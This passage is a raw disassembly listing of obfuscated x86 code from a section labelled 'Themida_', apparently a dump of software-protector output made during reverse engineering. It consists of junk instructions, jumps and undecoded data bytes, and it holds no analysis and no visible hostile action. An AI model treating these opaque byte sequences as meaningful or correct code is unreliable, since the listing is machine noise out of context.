eax, [esp] pop esp jmp loc_551FA2 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 9C3BE9h, 0D8685800h, 89000015h, 0E589242Ch dd 80268h, 0BA21E900h, 0E0890000h, 405h, 4C08300h, 8B240487h dd 31662424h, 0C0B70FC3h, 74F66866h, 0FFD30AE9h, 0E28952FFh dd 4C281h, 0E8E90000h db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5458AF: ; CODE XREF: Themida_:005440ADj mov esi, 0D2F0EF85h add eax, esi pop esi push esi mov esi, esp add esi, 4 jmp loc_5504CD ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 8B542414h, 27E92414h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5458D7: ; CODE XREF: Themida_:005560F2j shr eax, 0Eh jmp loc_541CC1 ; --------------------------------------------------------------------------- db 68h dd 739Eh, 42FB68h, 24248900h, 4240483h, 0AF9EE9h db 0 ; --------------------------------------------------------------------------- loc_5458F5: ; CODE XREF: Themida_:005565EEj add esi, edi sub esi, 6FC01236h jmp loc_548BBB ; --------------------------------------------------------------------------- loc_545902: ; CODE XREF: Themida_:0055018Aj shl cl, 3 jmp loc_54AF6E ; --------------------------------------------------------------------------- dw 525Ah dd 0A8CF32BAh, 5AD601DAh, 4BE9F209h db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_549AFE ; --------------------------------------------------------------------------- aIuiSbj db 'ˆãˆÙéBj',0 align 4 dd 4C381h, 0C3810000h, 4, 0F8B9E9h, 48D0F700h, 390DE9h db 0 ; --------------------------------------------------------------------------- loc_545945: ; CODE XREF: Themida_:0055238Bj pop ebx pop dword ptr [esp] jmp loc_553F34 ; --------------------------------------------------------------------------- loc_54594E: ; CODE XREF: Themida_:00553E2Ej push 6C8B546Ah pop ebp jmp loc_54CCE4 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0DBh dd 8118301Fh, 301FDFF3h, 0E9DF0118h, 0FFFFE474h ; --------------------------------------------------------------------------- loc_54596C: ; CODE XREF: Themida_:0055592Fj add esp, 4 and eax, ebp pop ebp shr eax, 8 jmp loc_54375B ; --------------------------------------------------------------------------- dw 0C828h dd 24148B59h, 4C481h, 0EC810000h, 4, 81241C89h, 4ECh, 24148900h dd 88F8B450h, 1A6EE9E6h, 81580000h, 9268D3EAh, 81EA0161h dd 9268D3C2h, 9EA8161h, 8B084D58h, 0C483242Ch, 0D3C28104h dd 505EEA47h, 0C5689B8h, 58C22933h, 0C281C201h, 330C5689h dd 47D3EA81h, 99685EEAh, 89000038h, 10682404h, 89000005h dd 0CEBB241Ch, 0B8301E0Fh, 1D43232Dh, 1C8BD831h, 7C5AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5459FE: ; CODE XREF: Themida_:005483BBj pop edi jmp loc_555A22 ; --------------------------------------------------------------------------- aVsi db 'Vé‰ê',0 align 2 aSU db '^é',8,'u',0 align 10h dd 923E47BBh, 157BE972h, 0D9680000h, 89000024h, 4682414h dd 0FF000000h, 0E95A2434h, 128Dh ; --------------------------------------------------------------------------- loc_545A30: ; CODE XREF: Themida_:00555A3Fj mov ebp, 0FFE8FCF8h xor esi, ebp pop ebp mov edi, esi pop esi push edx mov edx, 736B3390h jmp loc_5443A6 ; --------------------------------------------------------------------------- dw 0E981h dd 560939C1h, 1A18F181h, 0CE01AF1Fh, 4C68359h, 5C243487h dd 469A68h, 241C8900h, 0D397E9h db 0 byte_545A69 db 0FFh, 77h, 40h ; DATA XREF: Themida_:00541A58o dd 0FFC0AEE9h, 24048BFFh, 4C481h, 30680000h, 0E9000025h dd 0CBBDh, 0C810BC2Dh, 0C09CE937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545A8E: ; CODE XREF: Themida_:0054E901j shl edx, 5 shr edx, 6 shr edx, 2 add edx, 5D41B51Ch sub edx, 94951B8h add edx, 5AB6BD3Fh add edi, 54C82C46h jmp loc_5470CD ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 4BB24h, 0DD010000h, 24C1E9h, 0EB805A00h dd 0E7C380D1h, 0C098E9h db 0 ; --------------------------------------------------------------------------- loc_545AD5: ; CODE XREF: Themida_:005439C9j mov edi, esi jmp loc_55188B ; --------------------------------------------------------------------------- dd 5F2434FFh, 4C481h, 0BD550000h, 531A2590h, 23E68h, 243C8900h dd 0DF004CBFh, 27B95168h, 8128F842h, 3966DDF1h, 0F1814169h dd 631856B7h, 1DD2E181h, 5EE969CCh, 8100001Ah, 75430AC6h dd 242C8B4Ch, 4C481h, 0EE810000h, 21516B24h, 20F68146h dd 0E90E667Eh, 0B55Fh ; --------------------------------------------------------------------------- loc_545B38: ; CODE XREF: Themida_:00551F6Fj pop ebx pop dword ptr [esp] jmp loc_54A7E3 ; --------------------------------------------------------------------------- byte_545B41 db 0FFh, 77h, 38h ; DATA XREF: Themida_:00541A70o dd 0E7B9E9h, 51EA8100h, 55BB73F7h, 368ABF57h, 81E93171h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545B5B: ; CODE XREF: Themida_:00541B28j push edx push eax mov ah, 0B9h jmp loc_553A97 ; --------------------------------------------------------------------------- loc_545B64: ; CODE XREF: Themida_:0054C406j sub esi, 13E722D0h jmp loc_544797 ; --------------------------------------------------------------------------- loc_545B6F: ; CODE XREF: Themida_:00543BD9j xor edi, 669A383Fh neg edi shl edi, 6 jmp loc_55577C ; --------------------------------------------------------------------------- db 89h dd 8783E9F5h, 1C890000h, 0E9515024h, 0FFFFD2F4h ; --------------------------------------------------------------------------- loc_545B90: ; CODE XREF: Themida_:005566F9j add esp, 4 pop edx xor edx, 26954254h pop ebp not edx inc edx jmp loc_551561 ; --------------------------------------------------------------------------- db 2Dh dd 116C5BF1h, 0F105C829h, 59116C5Bh, 2AFC68h, 5CA8E900h dd 88530000h, 5BD888D3h, 5058C188h, 0C788C888h, 0FFC79EE9h dd 24048BFFh, 4C481h, 94680000h, 89000071h, 58542404h dd 405h, 4E88300h, 31240433h, 4332404h, 0C895C24h, 4EC8324h dd 0BB241C89h, 0E481919h, 34FFD989h, 241C8B24h, 0E904C483h dd 8055h ; --------------------------------------------------------------------------- loc_545C10: ; CODE XREF: Themida_:0054AC3Aj add esp, 4 add eax, ebx push dword ptr [esp] pop ebx add esp, 4 add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp push ebx mov ebx, esp jmp loc_54D7C7 ; --------------------------------------------------------------------------- loc_545C3C: ; CODE XREF: Themida_:005486FFj or eax, ecx pop ecx inc eax jmp loc_54DC26 ; --------------------------------------------------------------------------- db 81h, 0EBh, 17h dd 1465010h, 17C381C3h, 58465010h, 0FFECD2E9h db 0FFh ; --------------------------------------------------------------------------- loc_545C59: ; CODE XREF: Themida_:0054FC75j sub esp, 4 jmp loc_546A3C ; --------------------------------------------------------------------------- dd 786D68h, 242C8900h, 292AE9h, 4C48100h, 31000000h, 0BEA1E9C2h dd 0DEBBFFFFh, 2910D733h, 0E904245Ch, 5B7Fh, 3DF18149h dd 41227C2Bh, 7E22E981h, 0F1814619h, 80F3385Ah, 35EBEE81h dd 0CE29014Fh, 35EBBF57h, 0FE01014Fh, 23E5E9h db 0 ; --------------------------------------------------------------------------- loc_545CB5: ; CODE XREF: Themida_:0054DFE1j mov [esp], esi jmp loc_55204E ; --------------------------------------------------------------------------- db 0B0h, 5Bh, 80h dd 47E909C7h, 5900010Dh, 5A04E800h, 78E9EB2Ch db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545CD3: ; CODE XREF: Themida_:0054F570j mov [esp], eax xor [esp], edx jmp loc_554755 ; --------------------------------------------------------------------------- aI4Sv db '‰4$évÜ',0 align 2 dw 875Dh dd 0A4E9243Ch db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545CEF: ; CODE XREF: Themida_:005432BFj mov edi, 4 sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp or [esp], ax pushf jmp loc_541B1F ; --------------------------------------------------------------------------- db 59h, 81h, 0C4h dd 4, 7CB42D48h, 0F2E949BDh, 10000DBh, 0D0F759C8h, 8DFFEB2Dh dd 8BC22124h, 0C4812404h, 4, 0FBECC281h, 8152FF57h, 4ECh dd 240C8900h, 5FCBE9h db 0 ; --------------------------------------------------------------------------- loc_545D4D: ; CODE XREF: Themida_:0054FF09j add dword ptr [esp], 4 pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_54F201 ; --------------------------------------------------------------------------- db 80h, 0E9h, 0C9h dd 8015F180h, 0CB00A8F1h, 80C30059h, 0B60F8AEBh, 8734FFC0h dd 1A0768h, 0D1A9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545D8A: ; CODE XREF: Themida_:0054702Fj push ebp mov ebp, 6AF75311h neg ebp shl ebp, 6 jmp loc_54EF23 ; --------------------------------------------------------------------------- loc_545D9A: ; CODE XREF: Themida_:0054BAF3j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_54A4AF ; --------------------------------------------------------------------------- dw 0BF57h dd 593D3BC0h, 3BBCEF81h, 32E9593Dh, 0B5FFFFEEh, 0FFEE88A6h dd 0C8B2434h, 4C48124h, 0E9000000h, 4FACh, 34FFB204h, 0C4835924h dd 68726804h, 1C890000h, 66B4B724h, 2801B151h, 0C05966CFh dd 0E7C002EFh, 0B5515007h, 0C63CE918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545DFE: ; CODE XREF: Themida_:005465B2j sub esp, 4 mov [esp], edx mov dl, 0BAh jmp loc_547718 ; --------------------------------------------------------------------------- db 0F7h aSd db 'Óé¤}',0 align 2 aR_0 db 'R²œ',0 dw 0E9D4h dd 0FFFFE17Ah, 5C243C87h, 0FFFA01E9h, 35EE81FFh, 31D71F86h dd 0BB535EF2h, 66F12239h, 811CE9h db 0 ; --------------------------------------------------------------------------- loc_545E39: ; CODE XREF: Themida_:00554B6Aj sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_551C80 ; --------------------------------------------------------------------------- db 5Dh dd 0BE56C229h, 56159A1h, 5B4EE681h, 0E6C1489Dh, 97CE8105h dd 81404979h, 5186C8C6h, 8BF229D3h, 0C4812434h, 4, 0E163E9h dd 68665A00h, 89666258h, 39E92414h, 580000C3h, 0FF04C483h dd 815D2434h, 4C4h, 0E418E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545E9E: ; CODE XREF: Themida_:00554506j sub ebp, 71367381h add ebp, edi add ebp, 71367381h pop edi add ecx, 41CD5E2Fh add ecx, 6D0F64B5h add ecx, ebp sub ecx, 6D0F64B5h sub ecx, 41CD5E2Fh pop ebp jmp loc_55692F ; --------------------------------------------------------------------------- byte_545ECD db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541A80o aHbo db '$h¡o',0 align 2 dw 1489h dd 148B5424h, 4C48124h, 53000000h, 0C381E389h, 4, 8704EB83h dd 895C241Ch, 0E954243Ch, 0C4CBh ; --------------------------------------------------------------------------- loc_545EFC: ; CODE XREF: Themida_:005498C8j mov [esp], ecx push 62ED47B7h pop ecx push 50BDh mov [esp], ebp push eax push esp pop eax push esi mov esi, 4 add eax, esi pop esi sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push 49EF78B6h push dword ptr [esp] mov ebx, [esp] jmp loc_54FA95 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 86E90000h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545F43: ; CODE XREF: Themida_:00552025j push dword ptr [esp] pop edi jmp loc_554196 ; --------------------------------------------------------------------------- dd 0D92B8BB8h, 76B9E913h, 0B9510000h, 1, 0E959CB29h, 58F1h dd 0E9241C89h, 0E2D6h, 522BEB81h, 0EB815250h, 1DDF254Dh dd 4E9F301h db 4, 1, 0 ; --------------------------------------------------------------------------- loc_545F7F: ; CODE XREF: Themida_:0054CBACj add ecx, 4 xchg ecx, [esp] pop esp pop ecx jmp loc_5528EA ; --------------------------------------------------------------------------- db 0F6h aSmt db 'Öémt',0 align 2 loc_545F96: ; CODE XREF: Themida_:0054438Bj not esi sub esi, 0B1187811h sub edi, 5221057Dh sub edi, esi add edi, 5221057Dh pop esi jmp loc_551BE5 ; --------------------------------------------------------------------------- dw 0C481h dd 2, 28B3EB80h, 0B3C380C3h, 20AC68h, 24148900h, 0FE1CB050h dd 0B25266C8h, 0E9D02058h, 1414h, 5523EF81h, 0EF810451h dd 1CAE3EBBh, 8904EC83h, 97E9240Ch db 0EDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545FEF: ; CODE XREF: Themida_:00555784j mov edi, [esp] add esp, 4 add eax, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] add eax, 4 push ebp mov ebp, esp jmp loc_545662 ; --------------------------------------------------------------------------- aQsu db 'Qé“%',0 align 2 dw 0F10Ch dd 0C434D8F6h, 0B704F10Ch, 0F64CB551h, 92CD80D5h, 0CA23E9h db 0 ; --------------------------------------------------------------------------- loc_546039: ; CODE XREF: Themida_:0054CE82j or ebp, 7E2212A3h add ebp, 9A02ABBAh and esi, ebp jmp loc_5463C8 ; --------------------------------------------------------------------------- loc_54604C: ; CODE XREF: Themida_:0054E3C1j add ebp, 47C47BCBh xor edi, ebp jmp loc_547A3F ; --------------------------------------------------------------------------- aLSI db '^‹,$éÅI',0 align 2 aIHml db '‰,$h¬l',0 align 2 aISvn db '‰$$év',0 align 2 dw 0EC83h dd 241C8904h, 42474FFh, 5B2434FFh, 4C481h, 48F0000h, 24248B24h dd 24040166h, 0BA89E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546096: ; CODE XREF: Themida_:005426CEj xor eax, edx pop edx sub esi, eax jmp loc_55470C ; --------------------------------------------------------------------------- dd 4AA3EF81h, 0C7811FADh, 3BFF6A7Eh, 1CD1EF81h, 0BD556359h dd 7D511E9Bh, 4D06E5C1h, 7DB8C581h, 0EF29C676h, 1D5EE9h dd 4C28100h, 83000000h, 148704C2h, 0AAE95C24h, 8B000011h dd 0C483243Ch, 4EC8104h, 89000000h, 4BBD242Ch, 523E653Ah dd 80D68BAh, 5AD52911h, 5432E9h, 5FD7B900h, 0E5E97B8Dh dd 0D100002Fh, 5151E9EBh, 0C6810000h, 76DA3C77h, 24343359h dd 0E9243431h, 0FFFFDD2Ah ; --------------------------------------------------------------------------- loc_546120: ; CODE XREF: Themida_:0054202Fj pop edi push eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 458Ch mov [esp], edi push ecx push esi jmp loc_551921 ; --------------------------------------------------------------------------- dw 0F580h dd 7E5C0D2h, 0E926ED80h, 0EA06h ; --------------------------------------------------------------------------- loc_546158: ; CODE XREF: Themida_:005457F0j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_553422 ; --------------------------------------------------------------------------- loc_54616B: ; CODE XREF: Themida_:005503D4j mov [esp], eax mov ah, 2Fh dec ah add ah, 4Ch mov ch, ah mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5527C6 ; --------------------------------------------------------------------------- dd 0F262E981h, 0CD01DA95h, 81240C8Bh, 4C4h, 0E9CD0100h dd 87F5h, 8106E5C1h, 54E1BCEDh, 5DE90175h, 4C181h, 9EE90000h dd 830000EEh, 0C58104C4h, 4, 4ED81h, 0A1680000h, 0E900006Ah dd 8F84h, 4C281h, 0C2830000h, 24148704h, 52D8295Ch, 5E5FC1BAh dd 0DFC6E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5461F6: ; CODE XREF: Themida_:0054EF2Bj pop ebp shr eax, 6 add eax, 50E3115h xor ebx, eax push dword ptr [esp] jmp loc_54DF99 ; --------------------------------------------------------------------------- db 31h, 0C2h, 0E9h dd 105F5h dword_546210 dd 28B6664h, 33C46866h, 24048966h, 0FFB8FEE9h, 0E80166FFh ; DATA XREF: Themida_:00541A1Co dd 0BD66555Dh, 8166626Ah, 662FDFCDh, 1ED81h, 78C58166h dd 0E80966ECh, 0E705665Dh, 0C689666Dh, 664E6658h, 53BFEE81h dd 99C68166h, 742F685Eh, 2C890000h, 5CE95724h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54625F: ; CODE XREF: Themida_:00548846j mov edi, [esp] add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_543E63 ; --------------------------------------------------------------------------- db 5Ch dd 89242C89h, 4C581E5h, 83000000h, 39E904EDh, 50000021h dd 739CBB53h, 9EB84281h, 0E9428173h, 0D28h, 7F531FBDh dd 45C58148h, 4D245212h, 2A9DF581h, 0CD811FE3h, 227338CAh dd 0EE72E9h, 81575600h, 4ECh, 240C8900h, 0F140D7B9h, 0E319E922h dd 42D0000h, 87000000h, 895C2404h, 8B54240Ch, 5452240Ch dd 12F0E95Ah, 34890000h, 48685524h, 5D32317Ch, 373CF581h dd 4545637Ah, 5137F581h, 0EE894832h, 5EF0295Dh, 5CABBE56h dd 0F6815F4Ah, 46927FF5h, 918BE9h db 0 ; --------------------------------------------------------------------------- loc_546311: ; CODE XREF: Themida_:0054F20Ej pop edi sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_552B7A ; --------------------------------------------------------------------------- loc_546333: ; CODE XREF: Themida_:0054C304j add eax, edx pop edx push edx mov edx, 54023104h and edx, 6A536101h dec edx sub esp, 4 mov [esp], ecx mov ecx, 6B4A0700h add ecx, 0DE90C5Ch and ecx, 435A616Ch push ebx jmp loc_542B30 ; --------------------------------------------------------------------------- dd 0C8BEC88h, 92EDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54636A: ; CODE XREF: Themida_:0054ECE8j push esi mov esi, 27B562A6h inc esi push edi push ebp mov ebp, 3897259Bh jmp loc_544CB6 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFE12FE9h, 4A5D68FFh, 34FF3A2Ch, 89525B24h, 4C281E2h dd 0E9000000h, 0FFFFD842h ; --------------------------------------------------------------------------- loc_54639C: ; CODE XREF: Themida_:0054FDD6j push ebx mov ebx, 7E7A0BEFh dec ebx not ebx shr ebx, 6 and ebx, 55101BB7h push ebp mov ebp, 76443A02h push eax push ebp jmp loc_551110 ; --------------------------------------------------------------------------- db 89h dd 0FFBD242Ch, 0E9313574h, 0FFFFE3ACh ; --------------------------------------------------------------------------- loc_5463C8: ; CODE XREF: Themida_:00546047j mov ebp, [esp] jmp loc_54C7A2 ; --------------------------------------------------------------------------- dd 48E9595Bh, 80FFFFB7h, 0E9C001C1h, 86E95302h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_5463E3: ; CODE XREF: Themida_:00547F1Cj xor ecx, ebx mov ebx, [esp] jmp loc_54B51B ; --------------------------------------------------------------------------- loc_5463ED: ; CODE XREF: Themida_:0055472Fj neg edx push ebp jmp loc_547216 ; --------------------------------------------------------------------------- db 59h, 56h, 89h dd 30BA52E6h, 0E960CF12h, 0FFFFE7F8h, 24D42459h, 24010404h dd 0E9562C9Fh, 0E455h dword_546414 dd 240C8B66h, 835D5455h, 148904ECh, 21176824h, 34890000h ; DATA XREF: Themida_:00541874o dd 7920E924h, 0E5890000h, 4AF7E9h db 0 ; --------------------------------------------------------------------------- loc_546435: ; CODE XREF: Themida_:00547F14j add esp, 4 add edi, 0F74A0A9Bh mov eax, edi mov edi, [esp] jmp loc_54702C ; --------------------------------------------------------------------------- loc_546448: ; CODE XREF: Themida_:0054766Bj add ebp, 35DA43E6h jmp loc_550D9F ; --------------------------------------------------------------------------- loc_546453: ; CODE XREF: Themida_:005432DFj add dl, 8 mov bh, dl pop edx sub al, 1Eh jmp loc_543F8D ; --------------------------------------------------------------------------- dd 2168BE56h, 0F32941EEh, 3F19E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54646E: ; CODE XREF: Themida_:0054B553j or esi, edi pop edi push ebx mov ebx, 7A41CD2h sub ebx, 0CD97D8B8h sub esi, ebx jmp loc_54AF1A ; --------------------------------------------------------------------------- loc_546484: ; CODE XREF: Themida_:00552162j sub eax, 0A391D1CCh add esi, eax pop eax push edx jmp loc_54B238 ; --------------------------------------------------------------------------- dw 61BBh dd 574D2B1Bh, 6B65BBBFh, 4EC7810Fh, 0F704BE2Dh, 6E7C1DFh dd 19BEE9h, 0B8505100h, 791D6688h, 1D668CB9h, 0D1BFE979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5464BE: ; CODE XREF: Themida_:00550334j sub esi, ebp pop ebp add ecx, esi pop esi jmp loc_54E3C6 ; --------------------------------------------------------------------------- db 0BAh, 45h, 6Bh dd 0EA3119D2h, 53242C8Bh, 0B4E9E389h, 210000FDh, 243C8BFAh dd 0FFECF3E9h, 0E9555CFFh, 1CADh, 0E9240C31h, 1D34h ; --------------------------------------------------------------------------- loc_5464F4: ; CODE XREF: Themida_:005510D6j sub ecx, 5D6A4A19h pop edi mov eax, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push 2888h mov [esp], ebx push 1A01h mov [esp], edx push eax add dword ptr [esp], 16A65445h pop edx jmp loc_55576A ; --------------------------------------------------------------------------- dd 45711D68h, 0E9505E39h, 0C5C1h, 7BE9F301h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54653F: ; CODE XREF: Themida_:00549EFFj push eax mov eax, 6A1F42D1h add edx, eax jmp loc_549120 ; --------------------------------------------------------------------------- dd 7342B850h, 0E9814CD7h, 49701310h, 0C181C101h, 49701310h dd 8B2434FFh, 0C4832404h, 4C48104h, 1000000h, 0FE07E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546576: ; CODE XREF: Themida_:00552210j xchg ebx, [esp] pop esp pop dword ptr [esp] jmp loc_54EFAA ; --------------------------------------------------------------------------- loc_546582: ; CODE XREF: Themida_:0054C247j push dword ptr [esp] push dword ptr [esp] pop edi push esi jmp loc_5428EC ; --------------------------------------------------------------------------- loc_54658F: ; CODE XREF: Themida_:00549FF4j push 698Ch mov [esp], esi jmp loc_551E84 ; --------------------------------------------------------------------------- dd 0CE309DB6h, 0E92434FFh, 0FFFFFE4Dh ; --------------------------------------------------------------------------- loc_5465A8: ; CODE XREF: Themida_:00548194j mov esp, [esp] mov [esp], bx push eax mov ah, 0AFh jmp loc_545DFE ; --------------------------------------------------------------------------- db 68h dd 3D40h, 68243489h, 5B86h, 81243C89h, 7F1A2434h, 815E005Fh dd 5F7F1AF6h, 2880E900h, 0E9550000h, 66B8h, 0F7245C2Dh dd 5F82955h, 55F7245Ch, 0E9278F2Dh, 0AF11E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5465F6: ; CODE XREF: Themida_:0054767Aj add esi, 6517CBEAh add ecx, esi mov esi, [esp] add esp, 4 add ebx, ecx pop ecx sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edx push ebx mov bl, 39h push ecx mov cl, bl jmp loc_54A1C9 ; --------------------------------------------------------------------------- dw 0A5BEh dd 1D5D8C1h, 0CF015EF1h, 83240C8Bh, 3C3304C4h, 243C3124h dd 0ED0EE9h db 0 byte_54663D db 0FFh, 34h, 24h ; DATA XREF: Themida_:00541924o dd 10FBE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546646: ; CODE XREF: Themida_:0055039Bj pop eax jmp loc_547467 ; --------------------------------------------------------------------------- dd 8059EB28h, 0C32888C3h, 5712E951h, 89660000h, 0C4B7241Ch dd 0BE9F828h, 8100007Dh, 5D7BCBEBh, 0C692E925h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546672: ; CODE XREF: Themida_:00553DB8j push edi mov edi, 4 add edx, edi push dword ptr [esp] mov edi, [esp] jmp loc_5430C2 ; --------------------------------------------------------------------------- db 28h, 0D0h, 4 aIsP db 'iéÚ¯',0 align 2 dd offset dword_512448+620h dw 8900h dd 4832424h, 0E9590424h, 0FFFFDAF4h, 0E91C5709h, 0A2D5h dd 0E956575Eh, 0F20Ch ; --------------------------------------------------------------------------- loc_5466B0: ; CODE XREF: Themida_:00548E6Ej mov ecx, 4 jmp loc_553265 ; --------------------------------------------------------------------------- dw 5135h dd 0F795B5CFh, 535140D8h, 84A8E9h db 0 ; --------------------------------------------------------------------------- loc_5466C9: ; CODE XREF: Themida_:0054739Ej mov [esp], ecx jmp loc_54DD58 ; --------------------------------------------------------------------------- loc_5466D1: ; CODE XREF: Themida_:0054C3AFj push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54303B ; --------------------------------------------------------------------------- loc_5466E5: ; CODE XREF: Themida_:0054C7C5j push esi mov esi, 2E0B2DBBh add esi, 0FC841D57h jmp loc_5541E8 ; --------------------------------------------------------------------------- dw 0C781h dd 0B2BF84F7h, 54E9FD01h, 4A000059h, 0D5C28142h, 811C444Fh dd 774D22E2h, 81D2F712h, 0AF26A6C2h, 5AD001FEh, 0E958C731h dd 0B4F8h, 81DFF74Fh, 117C85EFh, 5FF90964h, 4D81BA52h dd 0FF520616h, 90E9240Ch, 0C1FFFFB4h, 0EF8103EFh, 0D9334E88h dd 0CAE9FD31h db 0D8h, 2 dup(0) byte_54674F db 0FFh ; DATA XREF: Themida_:00541A9Co a4XsA db '4$Xé\ ',0 align 4 dd 5C24048Fh, 0FFCB83E9h, 4C281FFh, 81000000h, 4C2h, 24148700h dd 0FFFA315Ch, 575F2434h, 55E9E789h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54677F: ; CODE XREF: Themida_:00542BDCj mov eax, 4 add ebp, eax pop eax push ebp push dword ptr [esp+4] pop ebp jmp loc_54F0BB ; --------------------------------------------------------------------------- loc_546792: ; CODE XREF: Themida_:00549652j push 138553Eh pop ebx jmp loc_5542AC ; --------------------------------------------------------------------------- loc_54679D: ; CODE XREF: Themida_:005495CFj add ecx, edi sub ecx, 7E8B2158h push ebx push esi push eax push ebx mov ebx, 5D5568A5h mov eax, 410B2297h jmp loc_544F43 ; --------------------------------------------------------------------------- dd 3C74BDBDh, 0E1895179h, 4C181h, 0E9830000h, 0D095E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5467CE: ; CODE XREF: Themida_:0054AF76j pop ecx inc bl dec bl jmp loc_54C722 ; --------------------------------------------------------------------------- dd 7FA8E950h, 0F65B0000h, 17C580D5h, 803DE580h, 73E93AC5h dd 810000FEh, 0A74946EFh, 0E9D7010Dh, 52B1h dword_5467FC dd 9D1C77FFh, 1CD25966h, 14E99C24h ; DATA XREF: Themida_:00541A68o db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54680B: ; CODE XREF: Themida_:00546E4Fj pop ecx sub esp, 4 mov [esp], ebx push ebp jmp loc_545426 ; --------------------------------------------------------------------------- loc_54681B: ; CODE XREF: Themida_:00548BDBj add ecx, edi push 3BB7h mov [esp], edx pop dword ptr [ecx] mov ecx, [esp] sub esp, 4 mov [esp], edx push esp push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54977E ; --------------------------------------------------------------------------- dd 52243489h, 0F134A468h, 0E2C15A72h, 0D4CA8102h, 815EB56Dh dd 81355EAh, 0BA52576Bh, 2C445C0Eh, 0FFEA814Ah, 0C1FFFFFFh dd 0F28104E2h, 6CFC2E49h, 4426EA81h, 0D78952EDh, 8242E9h db 0 ; --------------------------------------------------------------------------- loc_54688D: ; CODE XREF: Themida_:00550A8Cj mov [esp], edi mov edi, 1F1D5529h push ebp mov ebp, 48744845h sub ebp, 56A7E33h xor ebp, 55FF448Fh sub ebp, 42AE0F38h jmp loc_553BE3 ; --------------------------------------------------------------------------- dw 0C8Ah dd 0E2895224h, 4C281h, 0C2830000h, 24148702h, 5E1C05Ch dd 6B23E9h, 79CE8100h, 814B4740h, 0D04557E6h, 3E6C16Eh dd 0C72BEE81h, 0F789FC72h, 119E95Eh, 0EE010001h, 2501EE81h dd 4E5D4E00h, 0EEC1D6F7h, 0FFF68108h, 0E900A7DAh, 0FFFFC1F4h ; --------------------------------------------------------------------------- loc_546904: ; CODE XREF: Themida_:0055228Ej mov esi, edx mov edx, [esp] add esp, 4 xor eax, esi mov esi, [esp] push eax mov eax, esp push edi mov edi, 4 jmp loc_54A45C ; --------------------------------------------------------------------------- db 83h dd 0E82804C4h, 55240C8Bh, 0A8685D54h, 89000052h, 0E2E9243Ch dd 0BBFFFFD2h, 25EC4DC1h, 0FCF38143h, 0E97E906Ch, 9036h dd 0C05BF681h, 0F031D5B2h, 13C1E9h, 0C0BCBF00h, 8DE972BBh dd 8BFFFFC9h, 0C4812414h, 4, 4463E9h, 0B9B75300h, 0FE5BFE88h dd 1AD0E9C6h, 0C4810000h, 4, 0C5E9D9F7h, 89FFFFFBh, 0E2892414h dd 4C281h, 0BF570000h, 35B3479Dh, 1BD0E9h, 61E78100h, 0F7281B3Eh dd 0C96AE9DFh, 8468FFFFh, 89000023h, 4832424h, 48F0424h dd 24048324h, 95F7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5469C2: ; CODE XREF: Themida_:00555D90j push 2606h mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 31E65EA2h and edx, 51344C1Fh sub edx, 6470DB9h neg edx shr edx, 6 push eax jmp loc_5505B8 ; --------------------------------------------------------------------------- loc_5469EF: ; CODE 